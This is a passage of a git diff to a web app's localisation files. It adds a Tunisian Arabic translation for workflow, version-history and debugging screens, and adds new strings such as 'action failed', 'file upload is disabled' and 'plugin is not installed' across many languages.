+      noBodyParameters: 'لم يتم تكوين أي معلمات جسم',
+      debugUrlTitle: 'للتشغيل الاختياري، استخدم دائمًا هذا العنوان',
+      debugUrlCopy: 'انقر للنسخ',
+      debugUrlCopied: 'تم النسخ!',
+      debugUrlPrivateAddressWarning: 'يبدو أن عنوان URL هذا عنوان داخلي، مما قد يتسبب في فشل طلبات webhook. يمكنك تغيير TRIGGER_URL إلى عنوان عام.',
+      errorHandling: 'معالجة الأخطاء',
+      errorStrategy: 'معالجة الأخطاء',
+      responseConfiguration: 'استجابة',
+      asyncMode: 'وضع غير متزامن',
+      statusCode: 'رمز الحالة',
+      responseBody: 'جسم الاستجابة',
+      responseBodyPlaceholder: 'اكتب جسم الاستجابة هنا',
+      headers: 'الرؤوس',
+      validation: {
+        webhookUrlRequired: 'عنوان URL لـ Webhook مطلوب',
+        invalidParameterType: 'نوع المعلمة غير صالح "{{type}}" للمعلمة "{{name}}"',
+      },
+    },
+  },
+  triggerStatus: {
+    enabled: 'مشغل',
+    disabled: 'مشغل • معطل',
+  },
+  entryNodeStatus: {
+    enabled: 'بدء',
+    disabled: 'بدء • معطل',
+  },
+  tracing: {
+    stopBy: 'توقف بواسطة {{user}}',
+  },
+  versionHistory: {
+    title: 'الإصدارات',
+    currentDraft: 'المسودة الحالية',
+    latest: 'الأحدث',
+    filter: {
+      all: 'الكل',
+      onlyYours: 'الخاص بك فقط',
+      onlyShowNamedVersions: 'إظهار الإصدارات المسماة فقط',
+      reset: 'إعادة تعيين التصفية',
+      empty: 'لم يتم العثور على سجل إصدار مطابق',
+    },
+    defaultName: 'إصدار بدون عنوان',
+    nameThisVersion: 'تسمية هذا الإصدار',
+    editVersionInfo: 'تعديل معلومات الإصدار',
+    copyId: 'نسخ المعرف',
+    editField: {
+      title: 'العنوان',
+      releaseNotes: 'ملاحظات الإصدار',
+      titleLengthLimit: 'لا يمكن أن يتجاوز العنوان {{limit}} حرفًا',
+      releaseNotesLengthLimit: 'لا يمكن أن تتجاوز ملاحظات الإصدار {{limit}} حرفًا',
+    },
+    releaseNotesPlaceholder: 'صف ما تغير',
+    restorationTip: 'بعد استعادة الإصدار، سيتم استبدال المسودة الحالية.',
+    deletionTip: 'الحذف لا رجعة فيه، يرجى التأكد.',
+    action: {
+      restoreSuccess: 'تم استعادة الإصدار',
+      restoreFailure: 'فشل استعادة الإصدار',
+      deleteSuccess: 'تم حذف الإصدار',
+      deleteFailure: 'فشل حذف الإصدار',
+      updateSuccess: 'تم تحديث الإصدار',
+      updateFailure: 'فشل تحديث الإصدار',
+      copyIdSuccess: 'تم نسخ المعرف إلى الحافظة',
+    },
+  },
+  debug: {
+    settingsTab: 'الإعدادات',
+    lastRunTab: 'آخر تشغيل',
+    relationsTab: 'العلاقات',
+    copyLastRun: 'نسخ آخر تشغيل',
+    noLastRunFound: 'لم يتم العثور على تشغيل سابق',
+    noMatchingInputsFound: 'لم يتم العثور على مدخلات مطابقة من آخر تشغيل',
+    lastRunInputsCopied: 'تم نسخ {{count}} إدخال (إدخالات) من آخر تشغيل',
+    copyLastRunError: 'فشل نسخ مدخلات آخر تشغيل',
+    noData: {
+      description: 'سيتم عرض نتائج آخر تشغيل هنا',
+      runThisNode: 'تشغيل هذه العقدة',
+    },
+    variableInspect: {
+      title: 'فحص المتغير',
+      emptyTip: 'بعد تخطي عقدة على اللوحة أو تشغيل عقدة خطوة بخطوة، يمكنك عرض القيمة الحالية لمتغير العقدة في فحص المتغير',
+      emptyLink: 'تعرف على المزيد',
+      clearAll: 'إعادة تعيين الكل',
+      clearNode: 'مسح المتغير المخبأ',
+      resetConversationVar: 'إعادة تعيين متغير المحادثة إلى القيمة الافتراضية',
+      view: 'عرض السجل',
+      edited: 'تم التعديل',
+      reset: 'إعادة تعيين إلى قيمة آخر تشغيل',
+      listening: {
+        title: 'الاستماع للأحداث من المشغلات...',
+        tip: 'يمكنك الآن محاكاة مشغلات الحدث عن طريق إرسال طلبات اختبار إلى نقطة نهاية HTTP {{nodeName}} أو استخدامها كعنوان URL لرد الاتصال لتصحيح أخطاء الحدث المباشر. يمكن عرض جميع المخرجات مباشرة في فحص المتغير.',
+        tipPlugin: 'الآن يمكنك إنشاء أحداث في {{- pluginName}}، واسترجاع المخرجات من هذه الأحداث في فحص المتغير.',
+        tipSchedule: 'الاستماع للأحداث من مشغلات الجدول.\nالتشغيل المجدول التالي: {{nextTriggerTime}}',
+        tipFallback: 'انتظار أحداث المشغل الواردة. ستظهر المخرجات هنا.',
+        defaultNodeName: 'هذا المشغل',
+        defaultPluginName: 'مشغل الإضافة هذا',
+        defaultScheduleTime: 'لم يتم التكوين',
+        selectedTriggers: 'المشغلات المحددة',
+        stopButton: 'توقف',
+      },
+      trigger: {
+        normal: 'فحص المتغير',
+        running: 'التخزين المؤقت لحالة التشغيل',
+        stop: 'إيقاف التشغيل',
+        cached: 'عرض المتغيرات المخبأة',
+        clear: 'مسح',
+      },
+      envNode: 'البيئة',
+      chatNode: 'المحادثة',
+      systemNode: 'النظام',
+      exportToolTip: 'تصدير متغير كملف',
+      largeData: 'بيانات كبيرة، معاينة للقراءة فقط. تصدير لعرض الكل.',
+      largeDataNoExport: 'بيانات كبيرة - معاينة جزئية فقط',
+      export: 'تصدير',
+    },
+    lastOutput: 'آخر إخراج',
+    relations: {
+      dependencies: 'التبعيات',
+      dependents: 'المعتمدون',
+      dependenciesDescription: 'العقد التي تعتمد عليها هذه العقدة',
+      dependentsDescription: 'العقد التي تعتمد على هذه العقدة',
+      noDependencies: 'لا توجد تبعيات',
+      noDependents: 'لا يوجد معتمدون',
+    },
+  },
+  onboarding: {
+    title: 'حدد عقدة البداية للبدء',
+    description: 'لدى عقد البداية المختلفة قدرات مختلفة. لا تقلق، يمكنك دائمًا تغييرها لاحقًا.',
+    userInputFull: 'إدخال المستخدم (عقدة البداية الأصلية)',
+    userInputDescription: 'عقدة البداية التي تسمح بتعيين متغيرات إدخال المستخدم، مع إمكانيات تطبيق الويب، وواجهة برمجة تطبيقات الخدمة، وخادم MCP، وقدرات سير العمل كأداة.',
+    trigger: 'مشغل',
+    triggerDescription: 'يمكن أن تعمل المشغلات كعقدة بداية لسير العمل، مثل المهام المجدولة، أو خطافات الويب المخصصة، أو التكامل مع تطبيقات أخرى.',
+    back: 'رجوع',
+    learnMore: 'تعرف على المزيد',
+    aboutStartNode: 'حول عقدة البداية.',
+    escTip: {
+      press: 'اضغط',
+      key: 'esc',
+      toDismiss: 'للرفض',
+    },
+  },
+}
+
+export default translation
diff --git a/web/i18n/de-DE/common.ts b/web/i18n/de-DE/common.ts
index 98ff2eae19..d9ebfd60e0 100644
--- a/web/i18n/de-DE/common.ts
+++ b/web/i18n/de-DE/common.ts
@@ -5,6 +5,7 @@ const translation = {
     saved: 'Gespeichert',
     create: 'Erstellt',
     remove: 'Entfernt',
+    actionFailed: 'Aktion fehlgeschlagen',
   },
   operation: {
     create: 'Erstellen',
@@ -99,6 +100,8 @@ const translation = {
       hiIN: 'Hindi',
       trTR: 'Türkisch',
       faIR: 'Persisch',
+      slSI: 'Slowenisch',
+      arTN: 'Tunesisches Arabisch',
     },
   },
   unit: {
@@ -734,6 +737,7 @@ const translation = {
     uploadFromComputerReadError: 'Lesen der Datei fehlgeschlagen, bitte versuchen Sie es erneut.',
     fileExtensionNotSupport: 'Dateiendung nicht bedient',
     fileExtensionBlocked: 'Dieser Dateityp ist aus Sicherheitsgründen gesperrt',
+    uploadDisabled: 'Datei-Upload ist deaktiviert',
   },
   license: {
     expiring: 'Läuft an einem Tag ab',
diff --git a/web/i18n/de-DE/dataset-hit-testing.ts b/web/i18n/de-DE/dataset-hit-testing.ts
index b98c287d86..7c4007ff5d 100644
--- a/web/i18n/de-DE/dataset-hit-testing.ts
+++ b/web/i18n/de-DE/dataset-hit-testing.ts
@@ -5,7 +5,6 @@ const translation = {
   table: {
     header: {
       source: 'Quelle',
-      text: 'Text',
       time: 'Zeit',
       queryContent: 'Inhaltsabfrage',
     },
diff --git a/web/i18n/de-DE/workflow.ts b/web/i18n/de-DE/workflow.ts
index 61a1750ae5..d670d97d5b 100644
--- a/web/i18n/de-DE/workflow.ts
+++ b/web/i18n/de-DE/workflow.ts
@@ -437,6 +437,7 @@ const translation = {
         variable: 'Verwende die Variable',
       },
       inputVars: 'Eingabevariablen',
+      pluginNotInstalled: 'Plugin ist nicht installiert',
     },
     start: {
       required: 'erforderlich',
diff --git a/web/i18n/en-US/common.ts b/web/i18n/en-US/common.ts
index 26c6ed89f2..92d24b1351 100644
--- a/web/i18n/en-US/common.ts
+++ b/web/i18n/en-US/common.ts
@@ -8,6 +8,7 @@ const translation = {
   api: {
     success: 'Success',
     actionSuccess: 'Action succeeded',
+    actionFailed: 'Action failed',
     saved: 'Saved',
     create: 'Created',
     remove: 'Removed',
@@ -113,6 +114,8 @@ const translation = {
       hiIN: 'Hindi',
       trTR: 'Türkçe',
       faIR: 'Farsi',
+      slSI: 'Slovenian',
+      arTN: 'Tunisian Arabic',
     },
   },
   unit: {
@@ -743,6 +746,7 @@ const translation = {
     pasteFileLinkInvalid: 'Invalid file link',
     fileExtensionNotSupport: 'File extension not supported',
     fileExtensionBlocked: 'This file type is blocked for security reasons',
+    uploadDisabled: 'File upload is disabled',
   },
   tag: {
     placeholder: 'All Tags',
diff --git a/web/i18n/en-US/workflow.ts b/web/i18n/en-US/workflow.ts
index 54cd70ef19..a023ac2b91 100644
--- a/web/i18n/en-US/workflow.ts
+++ b/web/i18n/en-US/workflow.ts
@@ -464,6 +464,7 @@ const translation = {
         variable: 'Use variable',
       },
       inputVars: 'Input Variables',
+      pluginNotInstalled: 'Plugin is not installed',
     },
     start: {
       required: 'required',
diff --git a/web/i18n/es-ES/common.ts b/web/i18n/es-ES/common.ts
index 8ce59419e8..8f56c7e668 100644
--- a/web/i18n/es-ES/common.ts
+++ b/web/i18n/es-ES/common.ts
@@ -5,6 +5,7 @@ const translation = {
     saved: 'Guardado',
     create: 'Creado',
     remove: 'Eliminado',
+    actionFailed: 'Acción fallida',
   },
   operation: {
     create: 'Crear',
@@ -103,6 +104,8 @@ const translation = {
       hiIN: 'Hindi',
       trTR: 'Turco',
       faIR: 'Persa',
+      slSI: 'Esloveno',
+      arTN: 'Árabe tunecino',
     },
   },
   unit: {
@@ -734,6 +737,7 @@ const translation = {
     pasteFileLinkInputPlaceholder: 'Introduzca la URL...',
     uploadFromComputerLimit: 'El archivo de carga no puede exceder {{size}}',
     fileExtensionBlocked: 'Este tipo de archivo está bloqueado por motivos de seguridad',
+    uploadDisabled: 'La carga de archivos está deshabilitada',
   },
   license: {
     expiring: 'Caduca en un día',
diff --git a/web/i18n/es-ES/dataset-hit-testing.ts b/web/i18n/es-ES/dataset-hit-testing.ts
index 8f9cb71e66..3c33f18c1a 100644
--- a/web/i18n/es-ES/dataset-hit-testing.ts
+++ b/web/i18n/es-ES/dataset-hit-testing.ts
@@ -5,7 +5,6 @@ const translation = {
   table: {
     header: {
       source: 'Fuente',
-      text: 'Texto',
       time: 'Tiempo',
       queryContent: 'Contenido de la consulta',
     },
diff --git a/web/i18n/es-ES/workflow.ts b/web/i18n/es-ES/workflow.ts
index f81beb40ba..ab853882f5 100644
--- a/web/i18n/es-ES/workflow.ts
+++ b/web/i18n/es-ES/workflow.ts
@@ -437,6 +437,7 @@ const translation = {
         variable: 'Usa la variable',
       },
       inputVars: 'Variables de entrada',
+      pluginNotInstalled: 'El complemento no está instalado',
     },
     start: {
       required: 'requerido',
diff --git a/web/i18n/fa-IR/common.ts b/web/i18n/fa-IR/common.ts
index 79a55add01..afd6f760aa 100644
--- a/web/i18n/fa-IR/common.ts
+++ b/web/i18n/fa-IR/common.ts
@@ -5,6 +5,7 @@ const translation = {
     saved: 'ذخیره شد',
     create: 'ایجاد شد',
     remove: 'حذف شد',
+    actionFailed: 'عمل شکست خورد',
   },
   operation: {
     create: 'ایجاد',
@@ -103,6 +104,8 @@ const translation = {
       hiIN: 'هندی',
       trTR: 'ترکی',
       faIR: 'فارسی',
+      slSI: 'اسلوونیایی',
+      arTN: 'عربی تونسی',
     },
   },
   unit: {
@@ -734,6 +737,7 @@ const translation = {
     pasteFileLink: 'پیوند فایل را جایگذاری کنید',
     uploadFromComputerLimit: 'آپلود فایل نمی تواند از {{size}} تجاوز کند',
     fileExtensionBlocked: 'این نوع فایل به دلایل امنیتی مسدود شده است',
+    uploadDisabled: 'بارگذاری فایل غیرفعال است',
   },
   license: {
     expiring_plural: 'انقضا در {{count}} روز',
diff --git a/web/i18n/fa-IR/dataset-hit-testing.ts b/web/i18n/fa-IR/dataset-hit-testing.ts
index 9e277b3222..e43f11dbfd 100644
--- a/web/i18n/fa-IR/dataset-hit-testing.ts
+++ b/web/i18n/fa-IR/dataset-hit-testing.ts
@@ -5,7 +5,6 @@ const translation = {
   table: {
     header: {
       source: 'منبع',
-      text: 'متن',
       time: 'زمان',
       queryContent: 'محتوای پرس‌وجو',
     },
diff --git a/web/i18n/fa-IR/workflow.ts b/web/i18n/fa-IR/workflow.ts
index 2a2ec69248..a2a83acdfb 100644
--- a/web/i18n/fa-IR/workflow.ts
+++ b/web/i18n/fa-IR/workflow.ts
@@ -437,6 +437,7 @@ const translation = {
         variable: 'از متغیر استفاده کن',
       },
       inputVars: 'متغیرهای ورودی',
+      pluginNotInstalled: 'افزونه نصب نشده است',
     },
     start: {
       required: 'الزامی',
diff --git a/web/i18n/fr-FR/common.ts b/web/i18n/fr-FR/common.ts
index e33eb75b65..4b0deb4a8c 100644
--- a/web/i18n/fr-FR/common.ts
+++ b/web/i18n/fr-FR/common.ts
@@ -5,6 +5,7 @@ const translation = {
     saved: 'Sauvegardé',
     create: 'Créé',
     remove: 'Supprimé',
+    actionFailed: 'Action échouée',
   },
   operation: {
     create: 'Créer',
@@ -99,6 +100,8 @@ const translation = {
       hiIN: 'Hindi',
       trTR: 'Turc',
       faIR: 'Persan',
+      slSI: 'Slovène',
+      arTN: 'Arabe tunisien',
     },
   },
   unit: {
@@ -734,6 +737,7 @@ const translation = {
     pasteFileLinkInvalid: 'Lien de fichier non valide',
     uploadFromComputerLimit: 'Le fichier de téléchargement ne peut pas dépasser {{size}}',
     fileExtensionBlocked: 'Ce type de fichier est bloqué pour des raisons de sécurité',
+    uploadDisabled: 'Le téléchargement de fichiers est désactivé',
   },
   license: {
     expiring: 'Expirant dans un jour',
diff --git a/web/i18n/fr-FR/dataset-hit-testing.ts b/web/i18n/fr-FR/dataset-hit-testing.ts
index be8b7c7dfb..5ca06c2ca5 100644
--- a/web/i18n/fr-FR/dataset-hit-testing.ts
+++ b/web/i18n/fr-FR/dataset-hit-testing.ts
@@ -5,7 +5,6 @@ const translation = {
   table: {
     header: {
       source: 'Source',
-      text: 'Texte',
       time: 'Temps',
       queryContent: 'Contenu de la requête',
     },
diff --git a/web/i18n/fr-FR/workflow.ts b/web/i18n/fr-FR/workflow.ts
index cf69831d08..e22385c17e 100644
--- a/web/i18n/fr-FR/workflow.ts
+++ b/web/i18n/fr-FR/workflow.ts
@@ -437,6 +437,7 @@ const translation = {
         variable: 'Utilisez une variable',
       },
       inputVars: 'Variables d’entrée',
+      pluginNotInstalled: 'Le plugin n\'est pas installé',
     },
     start: {
       required: 'requis',
diff --git a/web/i18n/hi-IN/common.ts b/web/i18n/hi-IN/common.ts
index c0b401272f..88f8f814e6 100644
--- a/web/i18n/hi-IN/common.ts
+++ b/web/i18n/hi-IN/common.ts
@@ -5,6 +5,7 @@ const translation = {
     saved: 'सहेजा गया',
     create: 'बनाया गया',
     remove: 'हटाया गया',
+    actionFailed: 'क्रिया विफल',
   },
   operation: {
     create: 'बनाएं',
@@ -103,6 +104,8 @@ const translation = {
       hiIN: 'हिन्दी',
       trTR: 'तुर्की',
       faIR: 'फ़ारसी',
+      slSI: 'स्लोवेनियाई',
+      arTN: 'ट्यूनीशियाई अरबी',
     },
   },
   unit: {
@@ -756,6 +759,7 @@ const translation = {
     fileExtensionNotSupport: 'फ़ाइल एक्सटेंशन समर्थित नहीं है',
     uploadFromComputer: 'स्थानीय अपलोड',
     fileExtensionBlocked: 'सुरक्षा कारणों से इस फ़ाइल प्रकार को अवरुद्ध कर दिया गया है',
+    uploadDisabled: 'फ़ाइल अपलोड अक्षम है',
   },
   license: {
     expiring: 'एक दिन में समाप्त हो रहा है',
diff --git a/web/i18n/hi-IN/dataset-hit-testing.ts b/web/i18n/hi-IN/dataset-hit-testing.ts
index dc393b2130..7080f1fd76 100644
--- a/web/i18n/hi-IN/dataset-hit-testing.ts
+++ b/web/i18n/hi-IN/dataset-hit-testing.ts
@@ -5,7 +5,6 @@ const translation = {
   table: {
     header: {
       source: 'स्रोत',
-      text: 'पाठ',
       time: 'समय',
       queryContent: 'सवाल की सामग्री',
     },
diff --git a/web/i18n/hi-IN/workflow.ts b/web/i18n/hi-IN/workflow.ts
index 53caff1866..9f5c9828cd 100644
--- a/web/i18n/hi-IN/workflow.ts
+++ b/web/i18n/hi-IN/workflow.ts
@@ -449,6 +449,7 @@ const translation = {
         variable: 'चर का प्रयोग करें',
       },
       inputVars: 'इनपुट चर',
+      pluginNotInstalled: 'प्लगइन इंस्टॉल नहीं है',
     },
     start: {
       required: 'आवश्यक',
diff --git a/web/i18n/id-ID/common.ts b/web/i18n/id-ID/common.ts
index 43ce9f9adc..4cce24e76a 100644
--- a/web/i18n/id-ID/common.ts
+++ b/web/i18n/id-ID/common.ts
@@ -11,6 +11,7 @@ const translation = {
     remove: 'Dihapus',
     actionSuccess: 'Aksi berhasil',
     create: 'Dibuat',
+    actionFailed: 'Tindakan gagal',
   },
   operation: {
     setup: 'Setup',
@@ -103,6 +104,8 @@ const translation = {
       viVN: 'Vietnam',
       ukUA: 'Ukraina',
       faIR: 'Farsi',
+      slSI: 'Bahasa Slovenia',
+      arTN: 'Bahasa Arab Tunisia',
       itIT: 'Italia',
       zhHant: 'Mandarin Tradisional',
       thTH: 'Thai',
@@ -734,6 +737,7 @@ const translation = {
     uploadFromComputerReadError: 'Pembacaan file gagal, silakan coba lagi.',
     fileExtensionBlocked: 'Tipe file ini diblokir karena alasan keamanan',
     uploadFromComputerLimit: 'Unggahan {{type}} tidak boleh melebihi {{size}}',
+    uploadDisabled: 'Unggah file dinonaktifkan',
   },
   tag: {
     noTag: 'Tidak ada tag',
diff --git a/web/i18n/id-ID/dataset-hit-testing.ts b/web/i18n/id-ID/dataset-hit-testing.ts
index 628627a8b2..ce52dc9b82 100644
--- a/web/i18n/id-ID/dataset-hit-testing.ts
+++ b/web/i18n/id-ID/dataset-hit-testing.ts
@@ -1,7 +1,6 @@
 const translation = {
   table: {
     header: {
-      text: 'Teks',
       source: 'Sumber',
       time: 'Waktu',
       queryContent: 'Konten Query',
diff --git a/web/i18n/id-ID/workflow.ts b/web/i18n/id-ID/workflow.ts
index 3928916e0b..887650ec2f 100644
--- a/web/i18n/id-ID/workflow.ts
+++ b/web/i18n/id-ID/workflow.ts
@@ -444,6 +444,7 @@ const translation = {
       insertVarTip: 'Sisipkan Variabel',
       outputVars: 'Variabel Keluaran',
       inputVars: 'Variabel Masukan',
+      pluginNotInstalled: 'Plugin tidak terpasang',
     },
     start: {
       outputVars: {
diff --git a/web/i18n/it-IT/common.ts b/web/i18n/it-IT/common.ts
index 4974408583..b52b93b1a5 100644
--- a/web/i18n/it-IT/common.ts
+++ b/web/i18n/it-IT/common.ts
@@ -5,6 +5,7 @@ const translation = {
     saved: 'Salvato',
     create: 'Creato',
     remove: 'Rimosso',
+    actionFailed: 'Azione non riuscita',
   },
   operation: {
     create: 'Crea',
@@ -103,6 +104,8 @@ const translation = {
       hiIN: 'Hindi',
       trTR: 'Turco',
       faIR: 'Persiano',
+      slSI: 'Sloveno',
+      arTN: 'Arabo tunisino',
     },
   },
   unit: {
@@ -764,6 +767,7 @@ const translation = {
     pasteFileLink: 'Incolla il collegamento del file',
     uploadFromComputerReadError: 'Lettura del file non riuscita, riprovare.',
     fileExtensionBlocked: 'Questo tipo di file è bloccato per motivi di sicurezza',
+    uploadDisabled: 'Il caricamento dei file è disabilitato',
   },
   license: {
     expiring_plural: 'Scadenza tra {{count}} giorni',
diff --git a/web/i18n/it-IT/dataset-hit-testing.ts b/web/i18n/it-IT/dataset-hit-testing.ts
index dbc2f335ee..9a8f70cc32 100644
--- a/web/i18n/it-IT/dataset-hit-testing.ts
+++ b/web/i18n/it-IT/dataset-hit-testing.ts
@@ -5,7 +5,6 @@ const translation = {
   table: {
     header: {
       source: 'Fonte',
-      text: 'Testo',
       time: 'Ora',
       queryContent: 'Contenuto della query',
     },
diff --git a/web/i18n/it-IT/workflow.ts b/web/i18n/it-IT/workflow.ts
index 3af7741e3e..33aef2cea0 100644
--- a/web/i18n/it-IT/workflow.ts
+++ b/web/i18n/it-IT/workflow.ts
@@ -452,6 +452,7 @@ const translation = {
         variable: 'Usa la variabile',
       },
       inputVars: 'Variabili di input',
+      pluginNotInstalled: 'Il plugin non è installato',
     },
     start: {
       required: 'richiesto',
diff --git a/web/i18n/ja-JP/common.ts b/web/i18n/ja-JP/common.ts
index 984161a114..bde00cb66b 100644
--- a/web/i18n/ja-JP/common.ts
+++ b/web/i18n/ja-JP/common.ts
@@ -11,6 +11,7 @@ const translation = {
     saved: '保存済み',
     create: '作成済み',
     remove: '削除済み',
+    actionFailed: 'アクションに失敗しました',
   },
   operation: {
     create: '作成',
@@ -109,6 +110,8 @@ const translation = {
       hiIN: 'ヒンディー語',
       trTR: 'トルコ語',
       faIR: 'ペルシア語',
+      slSI: 'スロベニア語',
+      arTN: 'チュニジア・アラビア語',
     },
   },
   unit: {
@@ -747,6 +750,7 @@ const translation = {
     uploadFromComputerReadError: 'ファイルの読み取りに失敗しました。もう一度やり直してください。',
     fileExtensionNotSupport: 'ファイル拡張子はサポートされていません',
     pasteFileLinkInvalid: '無効なファイルリンク',
+    uploadDisabled: 'ファイルアップロードは無効です',
     fileExtensionBlocked: 'このファイルタイプは、セキュリティ上の理由でブロックされています',
   },
   license: {
diff --git a/web/i18n/ja-JP/workflow.ts b/web/i18n/ja-JP/workflow.ts
index 73be14b009..7f4e7a3009 100644
--- a/web/i18n/ja-JP/workflow.ts
+++ b/web/i18n/ja-JP/workflow.ts
@@ -464,6 +464,7 @@ const translation = {
         variable: '変数を使用する',
       },
       inputVars: '入力変数',
+      pluginNotInstalled: 'プラグインがインストールされていません',
     },
     start: {
       required: '必須',
diff --git a/web/i18n/ko-KR/common.ts b/web/i18n/ko-KR/common.ts
index 0720107562..531aa29054 100644
--- a/web/i18n/ko-KR/common.ts
+++ b/web/i18n/ko-KR/common.ts
@@ -5,6 +5,7 @@ const translation = {
     saved: '저장됨',
     create: '생성됨',
     remove: '삭제됨',
+    actionFailed: '작업 실패',
   },
   operation: {
     create: '생성',
@@ -99,6 +100,8 @@ const translation = {
       hiIN: '힌디어',
       trTR: '터키어',
       faIR: '페르시아어',
+      slSI: '슬로베니아어',
+      arTN: '튀니지 아랍어',
     },
   },
   unit: {
@@ -730,6 +733,7 @@ const translation = {
     uploadFromComputerLimit: '업로드 파일은 {{size}}를 초과할 수 없습니다.',
     uploadFromComputerUploadError: '파일 업로드에 실패했습니다. 다시 업로드하십시오.',
     fileExtensionBlocked: '보안상의 이유로 이 파일 형식은 차단되었습니다',
+    uploadDisabled: '파일 업로드가 비활성화되었습니다',
   },
   license: {
     expiring_plural: '{{count}}일 후에 만료',
diff --git a/web/i18n/ko-KR/dataset-hit-testing.ts b/web/i18n/ko-KR/dataset-hit-testing.ts
index 8f080a2807..9df426314d 100644
--- a/web/i18n/ko-KR/dataset-hit-testing.ts
+++ b/web/i18n/ko-KR/dataset-hit-testing.ts
@@ -5,7 +5,6 @@ const translation = {
   table: {
     header: {
       source: '소스',
-      text: '텍스트',
       time: '시간',
       queryContent: '질의 내용',
     },
diff --git a/web/i18n/ko-KR/workflow.ts b/web/i18n/ko-KR/workflow.ts
index 44b45a7160..964f331c85 100644
--- a/web/i18n/ko-KR/workflow.ts
+++ b/web/i18n/ko-KR/workflow.ts
@@ -461,6 +461,7 @@ const translation = {
         variable: '변수를 사용하세요',
       },
       inputVars: '입력 변수',
+      pluginNotInstalled: '플러그인이 설치되지 않았습니다',
     },
     start: {
       required: '필수',
diff --git a/web/i18n/pl-PL/common.ts b/web/i18n/pl-PL/common.ts
index 9c2a0810ce..10f566258a 100644
--- a/web/i18n/pl-PL/common.ts
+++ b/web/i18n/pl-PL/common.ts
@@ -5,6 +5,7 @@ const translation = {
     saved: 'Zapisane',
     create: 'Utworzono',
     remove: 'Usunięto',
+    actionFailed: 'Akcja nie powiodła się',
   },
   operation: {
     create: 'Utwórz',
@@ -99,6 +100,8 @@ const translation = {
       hiIN: 'Hindi',
       trTR: 'Turecki',
       faIR: 'Perski',
+      slSI: 'Słoweński',
+      arTN: 'Arabski tunezyjski',
     },
   },
   unit: {
@@ -752,6 +755,7 @@ const translation = {
     fileExtensionNotSupport: 'Rozszerzenie pliku nie jest obsługiwane',
     uploadFromComputer: 'Przesyłanie lokalne',
     fileExtensionBlocked: 'Ten typ pliku jest zablokowany ze względów bezpieczeństwa',
+    uploadDisabled: 'Przesyłanie plików jest wyłączone',
   },
   license: {
     expiring_plural: 'Wygasa za {{count}} dni',
diff --git a/web/i18n/pl-PL/dataset-hit-testing.ts b/web/i18n/pl-PL/dataset-hit-testing.ts
index fa2e751df6..502c56c414 100644
--- a/web/i18n/pl-PL/dataset-hit-testing.ts
+++ b/web/i18n/pl-PL/dataset-hit-testing.ts
@@ -5,7 +5,6 @@ const translation = {
   table: {
     header: {
       source: 'Źródło',
-      text: 'Tekst',
       time: 'Czas',
       queryContent: 'Treść zapytania',
     },
diff --git a/web/i18n/pl-PL/workflow.ts b/web/i18n/pl-PL/workflow.ts
index 61adafbef9..3ddb1ce69b 100644
--- a/web/i18n/pl-PL/workflow.ts
+++ b/web/i18n/pl-PL/workflow.ts
@@ -437,6 +437,7 @@ const translation = {
         input: 'Wartość wejściowa',
       },
       inputVars: 'Zmienne wejściowe',
+      pluginNotInstalled: 'Wtyczka nie jest zainstalowana',
     },
     start: {
       required: 'wymagane',
diff --git a/web/i18n/pt-BR/common.ts b/web/i18n/pt-BR/common.ts
index 8f3fad6cbb..b739561ca4 100644
--- a/web/i18n/pt-BR/common.ts
+++ b/web/i18n/pt-BR/common.ts
@@ -5,6 +5,7 @@ const translation = {
     saved: 'Salvo',
     create: 'Criado',
     remove: 'Removido',
+    actionFailed: 'Ação falhou',
   },
   operation: {
     create: 'Criar',
@@ -99,6 +100,8 @@ const translation = {
       hiIN: 'Hindi',
       trTR: 'Turco',
       faIR: 'Persa',
+      slSI: 'Esloveno',
+      arTN: 'Árabe Tunisiano',
     },
   },
   unit: {
@@ -734,6 +737,7 @@ const translation = {
     uploadFromComputerLimit: 'Carregar arquivo não pode exceder {{size}}',
     uploadFromComputerUploadError: 'Falha no upload do arquivo, faça o upload novamente.',
     fileExtensionBlocked: 'Este tipo de arquivo está bloqueado por razões de segurança',
+    uploadDisabled: 'Envio de arquivo desativado',
   },
   license: {
     expiring: 'Expirando em um dia',
diff --git a/web/i18n/pt-BR/dataset-hit-testing.ts b/web/i18n/pt-BR/dataset-hit-testing.ts
index 3546d25ae1..cf1962ed44 100644
--- a/web/i18n/pt-BR/dataset-hit-testing.ts
+++ b/web/i18n/pt-BR/dataset-hit-testing.ts
@@ -5,7 +5,6 @@ const translation = {
   table: {
     header: {
       source: 'Origem',
-      text: 'Texto',
       time: 'Hora',
       queryContent: 'Conteúdo da Consulta',
     },
diff --git a/web/i18n/pt-BR/workflow.ts b/web/i18n/pt-BR/workflow.ts
index 20c03e8a90..240635dd4e 100644
--- a/web/i18n/pt-BR/workflow.ts
+++ b/web/i18n/pt-BR/workflow.ts
@@ -437,6 +437,7 @@ const translation = {
         input: 'Valor de entrada',
       },
       inputVars: 'Variáveis de entrada',
+      pluginNotInstalled: 'O plugin não está instalado',
     },
     start: {
       required: 'requerido',
diff --git a/web/i18n/ro-RO/common.ts b/web/i18n/ro-RO/common.ts
index 85e29e6895..df3cf01b6c 100644
--- a/web/i18n/ro-RO/common.ts
+++ b/web/i18n/ro-RO/common.ts
@@ -5,6 +5,7 @@ const translation = {
     saved: 'Salvat',
     create: 'Creat',
     remove: 'Eliminat',
+    actionFailed: 'Acțiunea a eșuat',
   },
   operation: {
     create: 'Creează',
@@ -98,6 +99,8 @@ const translation = {
       hiIN: 'Hindi',
       trTR: 'Turcă',
       faIR: 'Persană',
+      slSI: 'Slovenă',
+      arTN: 'Arabă tunisiană',
       plPL: 'Poloneză',
     },
   },
@@ -734,6 +737,7 @@ const translation = {
     uploadFromComputerLimit: 'Încărcarea fișierului nu poate depăși {{size}}',
     pasteFileLink: 'Lipiți linkul fișierului',
     fileExtensionBlocked: 'Acest tip de fișier este blocat din motive de securitate',
+    uploadDisabled: 'Încărcarea fișierelor este dezactivată',
   },
   license: {
     expiring: 'Expiră într-o zi',
diff --git a/web/i18n/ro-RO/dataset-hit-testing.ts b/web/i18n/ro-RO/dataset-hit-testing.ts
index acf56228bc..fe3a2fc44d 100644
--- a/web/i18n/ro-RO/dataset-hit-testing.ts
+++ b/web/i18n/ro-RO/dataset-hit-testing.ts
@@ -5,7 +5,6 @@ const translation = {
   table: {
     header: {
       source: 'Sursă',
-      text: 'Text',
       time: 'Timp',
       queryContent: 'Conținutul cererii',
     },
diff --git a/web/i18n/ro-RO/workflow.ts b/web/i18n/ro-RO/workflow.ts
index d56992e416..a542a18807 100644
--- a/web/i18n/ro-RO/workflow.ts
+++ b/web/i18n/ro-RO/workflow.ts
@@ -437,6 +437,7 @@ const translation = {
         input: 'Valoare de intrare',
       },
